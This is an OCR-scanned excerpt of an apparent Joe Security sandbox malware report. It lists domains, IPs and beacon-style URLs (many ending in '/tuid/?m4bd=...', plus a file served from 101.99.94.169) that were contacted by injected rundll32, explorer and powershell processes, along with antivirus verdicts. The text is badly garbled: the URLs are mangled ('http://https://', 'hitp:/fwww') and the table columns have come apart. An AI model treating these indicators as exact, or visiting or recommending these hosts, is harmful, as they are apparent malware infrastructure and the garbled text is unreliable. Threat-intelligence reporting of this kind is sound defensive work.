http://www.svgjp.com/tuid/?
m4bd=p0OpyYx380zTi+CiqScB4rLgyoRdRZyFFdRM5Rh8HYCUuUL1S9LIJi1InChSa7CQi/RAeh&8pB=3fY
8ljB8rp-H

http://www.ghanesa.xyz/tuid/?
m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtlvpGa85+jixf523tlwbXsspzXRN0201TtG1NgJI3tW&APPTX=9r9
PSR

http://www.svgjp.com/tuid/
http:{fbxs6w.emitacademy.com
http:/fwww.ghanesa.xyz/tuid/
http://pesterbdd.com/images/Pester.png

http:{/fwww.secureartist.com/tuid/?
m4bd=LeABMOdRx+cjh3zMeGVoLpl9dcpUDuhE6Ym2dCR4Y XuE8jour2rN+gEOINsGd1piKr34&M8s=w
86DJIpgx5FYIUfRP

http://www.muziclips.com/tuid/
http://https://go.micro

http://www.coolarts.xyz/tuid/?
m4bd=9gXeVPWqRuIX9bliSDPSA07Wpwb+1c/G4dykJbOMN5RD0q8y2Pxv3NPChbg6IQ1LsmOi&M8s
=w86DJpgx5FYIUfRP

http://https://contoso.com/Icon
http://s249r.emitacademy.com
http://www.receiveprim.online/tuid/

http://www.wwwi2dni.com/tuid/?
m4bd=HIOGqwzZ3IsI7OEwvKn7zxoClrzZNSHOuht2lzyEyFHfgP4651xyJdMCZXysOBRyGrE8f&8pB=3fY8|
jB8rp-H

http://k8s2t.emitacademy.com
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Scanner

Avira

Avira

Detection

0%

Detection
0%
0%
0%

0%

0%
0%
0%
0%
0%
0%

0%

0%

0%

0%

0%

0%
0%
0%
0%
0%

0%

0%
0%
0%
100%
0%

0%
0%
0%

0%
0%
0%
0%

0%

Label Link
TR/Patched.Ren
.Gen8
TR/Patched.Ren
.Gen8
Scanner Label
Virustotal
Scanner Label
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud malware
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe

Download

Download File

Download File

Link

Browse

Link
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https://www.virustotal.com/gui/url/01f6fff767499f2d56797e2339628947d020f157359e135f38acf2dc936463b9/detection/u-01f6fff767499f2d56797e2339628947d020f157359e135f38acf2dc936463b9-1565208469

Source

http://www.programmedsolution.com/tuid/?

Detection

0%

m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndgaVaC/gFtqgDUvqUT5Zi219zF52EiAp1&APPTX

=9r9PSR
http://www.linuxizes.com/tuid/

http://www.xc8b49c6mnmdts.xyz/tuid/?

m4bd=vocXnNkofrtqV2skOi0toh6MZkzBPgY3NaQb1h7517U8PmTKIOG2bMX+HFjilYQpZAQ5&APPTx=

9r9PSR

http://www.programmedsolution.com/tuid/?
m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndgaVaC/gFtgDUvqUT5Zi219zF52EiAp1&M8s=

w86DJpgx5FYIUfRP

http://www.itsfindia.online/tuid/?

M8s=w86DJpgx5FYIUfRP&m4bd=mghAatraeoVXXTplg6GKnKI23LbAAQF/82d900G2Rt9sZLGICR2Wy

kimnzjjCp2pOvtb

http://101.99.94.169/WHVBvQsluwWdD218.inf3#

http://j4itc.emitacademy.com
http://https://contoso.com/License

http://www.ghanesa.xyz/tuid/?

M8s=w86DJpgx5FYIUfRP&m4bd=cJ4k7DdOtY QngKRIFYz9xfmhcqtlvpGa85+ijixf523tiwbXsspzXRN020

1TtGINQgJI3tW
http://ilupy.emitacademy.com
http://schemas.micro

http://www.ghanesa.xyz/tuid/?

m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtlvpGa85+iixf523tlwbXsspzXRN0201TtG1NgJ3tW&8pB=3fY8IjB

8rp-H

Domains and IPs

Contacted Domains

Name
WWWw.mojawapo.com
www.coolarts.xyz
pltraffic39.com
www.emitacademy.com
www.muziclips.com
www.147bronzeway.com
hikingtaibah.com
www.linuxizes.com
www.receiveprim.online
www.worldbrands.wine
www.blueonb.com
xc8b49c6mnmdts.xyz
www.ymsb.info
www.maximilianvonah.com
ghanesa.xyz
www.ap-render.com
www.secureartist.com
ghs.googlehosted.com
itsfindia.online
www.wwwif2dni.com
td-balancer-199-15-163-148.wixdns.net
www.itsfindia.online
www.5111.site
www.ghanesa.xyz
www.vtubber.com
www.laforet.info
www.edico-al.com
www.et-secure.info
www.hikingtaibah.com
WWW.SVgjp.com

www.productislandsize.xyz
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P
154.23.227.120
13.248.216.40
72.52.179.174
154.95.160.71
154.210.161.216
104.21.51.250
145.14.153.89
66.29.155.228
188.114.96.3
81.95.96.29
185.27.134.153
216.18.208.202
130.211.17.207
217.160.0.178
103.150.61.226
89.46.108.25
104.21.39.116
142.251.39.115
217.21.87.131
154.80.183.133
199.15.163.148
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Active
true

true

true

true

true

true

true

true

true

true

true

true

true

true

true

true

true

true

true

true

true
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

0%

0%

0%

0%

0%
0%
0%

0%

0%
0%

0%

Malicious
true
true
false
true
true
true
true
true
true
true
true
true
false
true
true
true
true
false
true
true
true
true
true
true
true
true
true
true
true
true

true

Scanner

Avira URL Cloud

Avira URL Cloud

Avira URL Cloud

Avira URL Cloud

Avira URL Cloud

Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

Avira URL Cloud

Avira URL Cloud
Avira URL Cloud

Avira URL Cloud

Antivirus Detection

e 0%, Virustotal, Browse

Label

safe

safe

safe

safe

safe

safe
safe
safe

safe

safe
safe

safe

Link

Reputation
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown
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https://www.virustotal.com/gui/url/01f6fff767499f2d56797e2339628947d020f157359e135f38acf2dc936463b9/detection/u-01f6fff767499f2d56797e2339628947d020f157359e135f38acf2dc936463b9-1565208469

Name

www.programmedsolution.com
www.aia-art.com

www.xc8b49c6mnmdts.xyz

Contacted URLs

Name

http://www.mojawapo.com/tuid/?

IP
unknown
unknown

unknown

Active
unknown
unknown

unknown

m4bd=WEOQpGNSR38PhgWGQI/4CBNMIFMWGI3qKGQVHK5AXUPmMXhsKWgjXWokcijjoxdm/j8Qu

&APPTX=9r9PSR
http://www.coolarts.xyz/tuid/
http://www.worldbrands.wine/tuid/

http://www.receiveprim.online/tuid/?

m4bd=5V7M8j5VuGkiy9NL3tlypAJy22VFPCeBH50h5nibDDbINvkaWpZ6bb8s5rlg19isjBzt&M8s=w8

6DJpgxX5FYIURP

http://www.emitacademy.com/tuid/?

M8s=w86DJpgx5FYIUfRP&m4bd=83varyKolJIBCknPQYIlgcSGzNVcyrkZOB+D5ZpiMCIZzhWRqo67

UpTDjwxWvk8XKYz02

hitp:/fwww.vtubber.com/tuid/?

m4bd=vEOt2WxjBi8H4KsoCXQPFaaEcnalL0cW4rsHNOmMKSQSi6rgkDy1GsjEnilX065GWycDne&UIC

p=CJEhZPH

hitp:/fwww.ymsb.info/tuid/?

M8s=w86DJpgx5FYIUfRP&m4bd=x1lgSWX2LKO1JKV9IbkchYXFCTPqYoW8UyISztnXFuzZ2/7+2KqJ

fWLK3RcwQMnMv5S2vv
http://www.ap-render.com/tuid/
http://www.secureartist.com/tuid/

http://www.svgjp.com/tuid/?

m4bd=p0pyYx380zTi+CiqScB4rLgyoRdRZyFFdRM5Rh8HyCuUL1S9LJi1InChSa7CQi/RAeh&8pB=

3fY8ljB8rp-H

http://www.ghanesa.xyz/tuid/?

m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtlvpGa85+iixf523tiwbXsspzXRN0201TtG1NgJI3tWE&APPTX=

9r9PSR
http://www.svgjp.com/tuid/
http://www.ghanesa.xyz/tuid/

http://www.secureartist.com/tuid/?

m4bd=LeABMOdRx+cjh3zMeGVoLpl9dcpUDUhE6Ym2dCR4YXuE8jour2rN+gEOINsGd1piKr34&M8s

=w86DJpgx5FYIUfRP
http://www.muziclips.com/tuid/

http://www.coolarts.xyz/tuid/?

m4bd=9gXeVPWqRulX9bliSDPSA07Wpwb+1c/G4dykJbOMN5RDOq8y2Pxv3NPChbg6lQ1LsmOi&

M8s=w86DJpgx5FYIUfRP
http://www.receiveprim.online/tuid/

http:// www.wwwi2dni.com/tuid/?

m4bd=HIOGqwzZ3IsI7OEwvKn7zxoClrzNSHOuht2lzyEyFHfgP4651xyJdMCZXysOBRyGrE8f&8pB=3

fY8IjB8rp-H

http./fwww.programmedsolution.com/tuid/?

m4bd=CvVARU9fNp+vKMKelLa6AXw4JheY799aWEuKndgaVaC/gFtgDUvqUT5Zi219zF52EiAp1&AP

PTx=9r9PSR
http://www.linuxizes.com/tuid/

http://www.xc8b49c6mnmdits.xyz/tuid/?

m4bd=vocXnNKkofrtqV2skOiOtoh6MZkzBPgY3NaQb1h7517U8PmTKIOG2bMX+HFjilYqpZAQ5&APP

Tx=9r9PSR

http./fwww.programmedsolution.com/tuid/?

m4bd=CvVARU9fNp+vKMKelLabAXw4JheY799aWEuKndgaVaC/gFtgDUvqUT5Zi219zF52EiAp1&M8

s=w86DJpgx5FYIUfRP

http://www.itsfindia.online/tuid/?

M8s=w86DJpgx5FYIUfRP&m4bd=mghAatraeoVXXTplg6GKnKI23LbAAQF/82d900G2Rt9sZLGICR2

WykimnZjjCp2p0vtb

http:/fwww.ghanesa.xyz/tuid/?

M8s=w86DJpgx5FYIUfRP&mAbd=cJ4k7DdOtYQngKRIFYz9xfmhcqtlvpGas5+ixf523tiwbXsspzXRN

0201TtG1NgJI3tW

http://www.ghanesa.xyz/tuid/?

m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqgtlvpGa85+ixf523tiwbXsspzZXRN0201TtG1NgJ3tW&8pB=3fY

8ljB8rp-H

URLs from Memory and Binaries

Name

Copyright Joe Security LLC 2022

Source

Malicious

true

true

true

Malicious Antivirus Detection

true

true
true

true

true

false

false

true
true

true

true

true
true

true

true

true

true

true

false

true

true

false

true

true

true

¢ Avira URL Cloud:

Malicious  Antivirus Detection

Avira URL Cloud:
Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:
Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:
Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Antivirus Detection

safe

safe
safe

safe

safe

safe

safe

safe
safe

safe

safe

safe
safe

safe

safe

safe

safe

safe

safe

safe

safe

safe

safe

safe

safe

Reputation
unknown
unknown

unknown

Reputation

unknown

unknown
unknown

unknown

unknown

unknown

unknown

unknown
unknown

unknown

unknown

unknown
unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Reputation
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Name

http://nrokg.emitacademy.com

http://https://www.active24.cz/klientska-
zona/zakaznicka-podpora

http://https://www.msn.com/en-us/news/world/uk-
climate-activists-face-prison-for-blocking-highz

http://zb379.emitacademy.com

http://kimy8.emitacademy.com

http://https://faq.active24.com/cz/806087-
Z%c3%alkladn%c3%ad-informace

http:if

https://api.msn.com:443/v1/news/Feed/Windows?

http://schemas.microsoft.c

http:ifhttps://excel.office.com

http://www.emitacademy.com/sitemap.xml

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

rundlI32.exe, 00000017.00000002.69014869 false e Avira URL Cloud: safe
04.0000000005922000.00000004.10000000.00

040000.00000000.sdmp, firefox.exe, 00000

01E.00000002.4149121268.000000002F352000

.00000004.80000000.00040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

explorer.exe, 00000016.00000000.31873419 false

88.00000000056BE000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0016.00000000.3058326928.00000000056BE00
0.00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000016.00000000.2919364739.000
00000056BE000.00000004.00000001.00020000
.00000000.sdmp, explorer.exe, 00000016.0
0000000.3334828996.00000000056BE000.0000
0004.00000001.00020000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp, firefox.exe, 00000
01E.00000002.4149121268.000000002F352000
.00000004.80000000.00040000.00000000.sdmp

e Avira URL Cloud: safe

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp, firefox.exe, 00000
01E.00000002.4149121268.000000002F352000
.00000004.80000000.00040000.00000000.sdmp

e Avira URL Cloud: safe

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

explorer.exe, 00000016.00000000.33412094 false

42.0000000009A16000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0016.00000000.3187341988.00000000056BEQ0
0.00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000016.00000000.3058326928.000
00000056BE000.00000004.00000001.00020000
.00000000.sdmp, explorer.exe, 00000016.0
0000000.3066597819.0000000009A16000.0000
0004.00000001.00020000.00000000.sdmp, ex
plorer.exe, 00000016.00000000.2919364739
.00000000056BE000.00000004.00000001.0002
0000.00000000.sdmp, explorer.exe, 000000
16.00000000.2927724211.0000000009A16000.
00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000016.00000000.3193544350.00000
00009A16000.00000004.00000001.00020000.0
0000000.sdmp, explorer.exe, 00000016.000
00000.3334828996.00000000056BE000.000000
04.00000001.00020000.00000000.sdmp

explorer.exe, 00000016.00000000.33706979 false
55.000000000DB47000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0016.00000000.3224076856.000000000DBBD0O0
0.00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000016.00000000.2973981564.000
000000DB47000.00000004.00000001.00020000
.00000000.sdmp, explorer.exe, 00000016.0
0000000.3113269580.000000000DBBD000.0000
0004.00000001.00020000.00000000.sdmp

e Avira URL Cloud: safe

explorer.exe, 00000016.00000000.33706979 false
55.000000000DB47000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0016.00000000.3224076856.000000000DBBD00
0.00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000016.00000000.2973981564.000
000000DB47000.00000004.00000001.00020000
.00000000.sdmp, explorer.exe, 00000016.0
0000000.3113269580.000000000DBBD000.0000
0004.00000001.00020000.00000000.sdmp, ex
plorer.exe, 00000016.00000000.3071520178
.0000000009B94000.00000004.00000001.0002
0000.00000000.sdmp, explorer.exe, 000000
16.00000000.3196886291.0000000009B94000.
00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000016.00000000.3344684844.00000
00009B94000.00000004.00000001.00020000.0
0000000.sdmp, explorer.exe, 00000016.000
00000.2932835606.0000000009B94000.000000
04.00000001.00020000.00000000.sdmp

firefox.exe, 0000001E.00000002.414912126 false
8.000000002F352000.00000004.80000000.000
40000.00000000.sdmp

e Avira URL Cloud: safe

Reputation

unknown

high

high

unknown

unknown

high

high

unknown

high

unknown
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Name

http://101.99.94.169/g

http:// https://www.active24.cz/objednavka/login

http://https://www.active24.cz/dnssec

http://https://www.msn.com/en-us/news/us/texas-gov-
abbott-sends-miles-of-cars-along-border-to-deter-
migrant

http:ff
https://gui.active24.cz/library/theme/hp16/style.css

http://www.emitacademy.com/

http://https://aka.ms/pscore6IB

http://https://customer.active24.com/

http://https://www.active24.cz/jak-na-tvorbu-webu

http://https://gui.active24.cz/img/icon/favicon-

16x16.png

http://https:/nuget.org/nuget.exe

http://www.emitacademy.com/images/mlogo.png

http://65bxm.emitacademy.com

http://https://www.active24.cz/spoluprace

hitp://
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam
e

http:{/fhttps://gui.active24.cz/img/default-
domain/dnssec.png

http:/fy3wls.emitacademy.com

hitp://
https://assets.msn.com/weathermapdata/1/static/svg/7
2/MostlySunnyDay.svg

http://https://faq.active24.com/cz/808905-E-
mailov%c3%al-%c5%99e%c5%alen%c3%ad

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

ielowutil.exe, 00000015.00000003.3481308 false e Avira URL Cloud: safe
758.0000000003348000.00000004.00000020.0

0020000.00000000.sdmp, ielowutil.exe, 00000015.000
00002.3489945907.0000000003348000.000000

04.00000020.00020000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

explorer.exe, 00000016.00000000.31873419 false
88.00000000056BE000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0016.00000000.3058326928.00000000056BE0O
0.00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000016.00000000.2919364739.000
00000056BE000.00000004.00000001.00020000
.00000000.sdmp, explorer.exe, 00000016.0
0000000.3334828996.00000000056BE000.0000
0004.00000001.00020000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

firefox.exe, 0000001E.00000002.414912126 false e Avira URL Cloud: safe
8.000000002F352000.00000004.80000000.000

40000.00000000.sdmp

powershell.exe, 00000004.00000002.303895 false
4866.0000000005061000.00000004.00000800.
00020000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

powershell.exe, 00000004.00000002.310110 false
7640.00000000060C5000.00000004.00000800.
00020000.00000000.sdmp

firefox.exe, 0000001E.00000002.414912126 false e Avira URL Cloud: safe
8.000000002F352000.00000004.80000000.000

40000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false e Avira URL Cloud: safe
04.0000000005922000.00000004.10000000.00

040000.00000000.sdmp, firefox.exe, 00000

01E.00000002.4149121268.000000002F352000

.00000004.80000000.00040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

powershell.exe, 00000004.00000002.303895 false
4866.0000000005061000.00000004.00000800.
00020000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false e Avira URL Cloud: safe
04.0000000005922000.00000004.10000000.00

040000.00000000.sdmp, firefox.exe, 00000

01E.00000002.4149121268.000000002F352000

.00000004.80000000.00040000.00000000.sdmp

explorer.exe, 00000016.00000000.31873419 false
88.00000000056BE000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0016.00000000.3058326928.00000000056BE0O
0.00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000016.00000000.2919364739.000
00000056BE000.00000004.00000001.00020000
.00000000.sdmp, explorer.exe, 00000016.0
0000000.3334828996.00000000056BE000.0000
0004.00000001.00020000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

Reputation

unknown

high

high

high

high

unknown

high

high

high

high

high

unknown

unknown

high

high

high

unknown

high

high
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Name

http://https://www.active24.cz/upozorneni

http://bxs6éw.emitacademy.com

http://https://word.office.com

http://https://www.msn.com/en-us/tv/celebrity/tarek-el-
moussa-tests-positive-for-covid-19-shuts-down-filmin

http:// pesterbdd.com/images/Pester.png

http://www.apache.org/licenses/LICENSE-2.0.html

http://https://go.micro

http://https://www.active24.cz/domeny

http://https://faq.active24.com/cz/932337-

Spolupr%c3%alce

http://https://gui.active24.cz/font/active24-icons. ttf

http://https://contoso.com/Icon

http://https://www.msn.com/en-
us/news/technology/facebook-oversight-board-
reviewing-xcheck-system-for-vips/

http:ifhttps://faq.active24.com/cz/757409-
Bezpe%c4%8dnost

http:i/https://outlook.com:

http://https://www.active24.cz/o-spolecnosti/kariera

http://https://gui.active24.cz/img/default-
domain/dns.png

Copyright Joe Security LLC 2022

Source

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp, firefox.exe, 00000
01E.00000002.4149121268.000000002F352000
.00000004.80000000.00040000.00000000.sdmp

explorer.exe, 00000016.00000000.32243634
99.000000000DBC9000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0016.00000000.2973981564.000000000DB4700
0.00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000016.00000000.3113624581.000
000000DBC9000.00000004.00000001.00020000
.00000000.sdmp, explorer.exe, 00000016.0
0000000.3371795782.000000000DBC9000.0000
0004.00000001.00020000.00000000.sdmp

explorer.exe, 00000016.00000000.31873419
88.00000000056BE000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0016.00000000.3058326928.00000000056BE00
0.00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000016.00000000.2919364739.000
00000056BE000.00000004.00000001.00020000
.00000000.sdmp, explorer.exe, 00000016.0
0000000.3334828996.00000000056BE000.0000
0004.00000001.00020000.00000000.sdmp

powershell.exe, 00000004.00000002.304665
6101.00000000051BC000.00000004.00000800.
00020000.00000000.sdmp

powershell.exe, 00000004.00000002.304665
6101.00000000051BC000.00000004.00000800.
00020000.00000000.sdmp

powershell.exe, 00000004.00000003.257230
3132.0000000005AF3000.00000004.00000800.
00020000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

powershell.exe, 00000004.00000002.310110
7640.00000000060C5000.00000004.00000800.
00020000.00000000.sdmp

explorer.exe, 00000016.00000000.31873419
88.00000000056BE000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0016.00000000.3058326928.00000000056BE0O
0.00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000016.00000000.2919364739.000
00000056BE000.00000004.00000001.00020000
.00000000.sdmp, explorer.exe, 00000016.0
0000000.3334828996.00000000056BE000.0000
0004.00000001.00020000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

explorer.exe, 00000016.00000000.31873419
88.00000000056BE000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0016.00000000.3058326928.00000000056BE0O
0.00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000016.00000000.2919364739.000
00000056BE000.00000004.00000001.00020000
.00000000.sdmp, explorer.exe, 00000016.0
0000000.3334828996.00000000056BE000.0000
0004.00000001.00020000.00000000.sdmp

rundli32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundli32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

Malicious

false

false

false

false

true

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e Avira URL Cloud: safe

e Avira URL Cloud: malware

e Avira URL Cloud: safe

e Avira URL Cloud: safe

Reputation

high

unknown

high

high

unknown

high

unknown

high

high

high

unknown

high

high

high

high

high
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Name

http://s249r.emitacademy.com

http://https://outlook.com

http://https://github.com/Pester/Pester

http://https://faq.active24.com/cz/920729-

Dom%c3%a9ny-a-DNS

http://https://webmail.active24.com/

http://k8s2t.emitacademy.com

http://https://api.msn.com/vl/news/Feed/Windows?
activityld=5696A836803C42E0B53F7BB2770E5342&ti
meOut=10000&0

http://https://gui.active24.cz/img/default-

domain/image.png

http://https://mysql.active24.com/

http://https://gui.active24.cz/css/landing.css

http://https://api.msn.com/v1/news/Feed/Windows?ok

http:ifhttps://gui.active24.cz/img/default-

domain/notify.png

http:{fhttps://www.active24.cz/weby/mojestranky

http:ifhttps://www.active24.cz/o-spolecnosti/kontakty

http://https:/iwww.active24.cz/domeny#m-certifikace

http://101.99.94.169/WHvBvQsluwWdD218.inf3#

http://j4itc.emitacademy.com

Copyright Joe Security LLC 2022

Source

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp, firefox.exe, 00000
01E.00000002.4149121268.000000002F352000
.00000004.80000000.00040000.00000000.sdmp

explorer.exe, 00000016.00000000.30715201
78.0000000009B94000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0016.00000000.3196886291.0000000009B9400
0.00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000016.00000000.3344684844.000
0000009B94000.00000004.00000001.00020000
.00000000.sdmp, explorer.exe, 00000016.0
0000000.2932835606.0000000009B94000.0000
0004.00000001.00020000.00000000.sdmp

powershell.exe, 00000004.00000002.304665
6101.00000000051BC000.00000004.00000800.
00020000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp, firefox.exe, 00000
01E.00000002.4149121268.000000002F352000
.00000004.80000000.00040000.00000000.sdmp

explorer.exe, 00000016.00000000.31873419
88.00000000056BE000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0016.00000000.3058326928.00000000056BE00
0.00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000016.00000000.2919364739.000
00000056BE000.00000004.00000001.00020000
.00000000.sdmp, explorer.exe, 00000016.0
0000000.3334828996.00000000056BE000.0000
0004.00000001.00020000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

explorer.exe, 00000016.00000000.32280582
20.0000000010CA6000.00000004.00000001.00
020000.00000000.sdmp, explorer.exe, 0000
0016.00000000.3376567897.0000000010CA600
0.00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000016.00000000.3121184764.000
0000010CA6000.00000004.00000001.00020000
.00000000.sdmp, explorer.exe, 00000016.0
0000000.2979739268.0000000010BA0000.0000
0004.00000001.00020000.00000000.sdmp

rundli32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

ielowutil.exe, 00000015.00000003.3481308
758.0000000003348000.00000004.00000020.0
0020000.00000000.sdmp, ielowutil.exe, 00000015.000
00002.3489945907.0000000003348000.000000
04.00000020.00020000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp, firefox.exe, 00000
01E.00000002.4149121268.000000002F352000
.00000004.80000000.00040000.00000000.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

Reputation

unknown

high

high

high

high

unknown

high

high

high

high

high

high

high

high

high

unknown

unknown
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Name
http://https://gui.active24.cz/img/icon/apple-icon-
180x180.png

http://https://gui.active24.cz/img/icon/favicon-
96x96.png
http://https://github.com/Pester/PesterT
http://https://gui.active24.cz/img/icon/ms-icon-

144x144.png

http://https://faq.active24.com/cz/162807-DNS-

hosting?l=cs

http://https://webftp.active24.com/

http://https://www.active24.cz/o-spolecnosti

http://https://contoso.com/License

http://https://mssql.active24.com/

http://ilupy.emitacademy.com

http://https://gui.active24.cz/img/default-
domain/free.png

http://schemas.micro

http://https://www.active24.cz/cssc/a21/main.less?
v=b0266c48432540148d77fe7f70991539

World Map of Contacted IPs
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Source Malicious  Antivirus Detection

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

powershell.exe, 00000004.00000002.304665 false
6101.00000000051BC000.00000004.00000800.
00020000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

